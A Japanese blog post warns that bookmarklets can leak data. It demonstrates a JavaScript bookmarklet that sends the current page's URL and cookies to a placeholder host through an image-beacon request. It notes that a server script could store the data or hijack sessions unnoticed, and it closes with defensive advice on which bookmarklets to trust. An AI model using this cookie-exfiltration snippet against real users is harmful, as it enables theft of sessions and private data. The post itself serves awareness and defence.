ブックマークレットの実行によりCookieなどを第3者に送信してしまう危険性を認識する

(ブックマークレットの作成者が第3者か、ってのはおいといて。)

今回、別にセキュリティに詳しくないのに書いてるので、詳しい方のつっこみ歓迎。

ブックマークレットとは、あらかじめ保存(普通はブックマーク)しておいた、JavaScriptのコードを任意のWebページ上で実行することで、いろいろな処理を実現できる機能である。

大変便利な技術で、私も1日何度も使っているが、閲覧しているサイトの作成者が意図しないスクリプトを実行する以上、セキュリティリスクもある。

ここでは、ブックマークレットを実行することで、そのページのURLおよび、Cookieの内容を別のサーバに送信できるか試してみる。

データを送信する方法としては、実装が楽そうなWebビーコン方式とする。

(function(){
    var e=document.createElement('img');
    e.src='http://example.com/cookiemonster.ico?url='+encodeURIComponent(location.href)+'&cookie='+encodeURIComponent(document.cookie);
    var b=document.getElementsByTagName('body').item(0);
    b.appendChild(e);
})();

こんなようなブックマークレットを作って(実験では自分のドメインの画像を読み込んだ)、任意のドメインのCookie使ってるサイトで実行してみたところ、当然ながら、そのサイトのURLとCookieの内容を含んだリクエストが送られた(Live HTTP Headersで確認。読み込まれた画像のURL見るだけでもいいけど)。

今回ためした時は、読み込む画像はたんなるPNGファイルなので、アクセスログを見ないと送信されたデータが得られず、めんどくさいが、もちろん実際にはファイルの中身はPHPなどのスクリプトでもよい。

そのスクリプトはリクエストを受けたら、なんらかの処理 - 取得したデータをデータベースに保存しとくとか、自動的にセッションハイジャックするとか - をして、縦横1pxの透明なPNGでも返しとけば気づかれにくい。

もちろん、これだけのコードだったら怪しいのはあきらかだが、これが、何百KBのコードに紛れて、しかもトラフィック節約のために圧縮されてたりしたら、気づくのは難しい(とはいえ、所詮コード全部見えてるんだし、自分の通信を監視すれば、おかしなことやってるのはすぐわかるので、足が付くのは時間の問題。メールのWebビーコンと違って大量にばらまくことはできないし)。

じゃ、ユーザーとしてどんな対策ができるかといえば、ブックマークレットの信頼性別に見ればこんなとこだろうか。

  1. 外部のファイルを読み込んでいない+行っている処理が完全に理解できる+安全性が確認できたブックマークレット
    →安全性が確認できた範囲で使える。
  2. 外部のファイルを読み込んでいない+行っている処理が理解できない部分があるブックマークレット
    →ブックマークレットの作成・配布者を完全に信用し、かつ信頼できる通信方法でブックマークレットを得た場合は、使えなくもない。おすすめまではしない。
  3. 外部のファイルを読み込んでいるブックマークレット
    →配布者を完全に信用し、かつ信頼できる通信方法でブックマークレットを得ても、外部のファイルを読み込む時点で、ファイル自体や通信が改ざんされる可能性も否定できないので、危険はある。配布者が信用できない場合は論外。

あと、もちろん

  • 他者に知られるとまずい情報が、表示されている・入力する・Cookieに保存されている・表示されてないけどHTMLとかに書いてあるページ、ドメインで上記1以外のブックマークレットを実行しない

というのは原則。

なお、Firefoxユーザーなら、RequestPolicyアドオンを入れてちゃんと運用してれば、別ドメインのファイルを勝手に読み込まないのでオススメ。

まあ、ブックマークレットよりGreasemonkeyスクリプト、ブラウザのプラグイン、スパイウェアなんかのほうがよっぽど数も多いし、危険性も高いけどね。

ちなみに、この記事を書くきっかけとなったのは、PrintWhatYouLikeというサービス。Webページを印刷するのにとても便利だが、ブックマークレットは外部のスクリプト読んでるので、怖いよなあと思って。WebインターフェイスからURL入力で使えば(あるいはそこんとこを自動化するブックマークレットを自分で作れば)、向こうに伝わるのは入力したURLだけなので安心。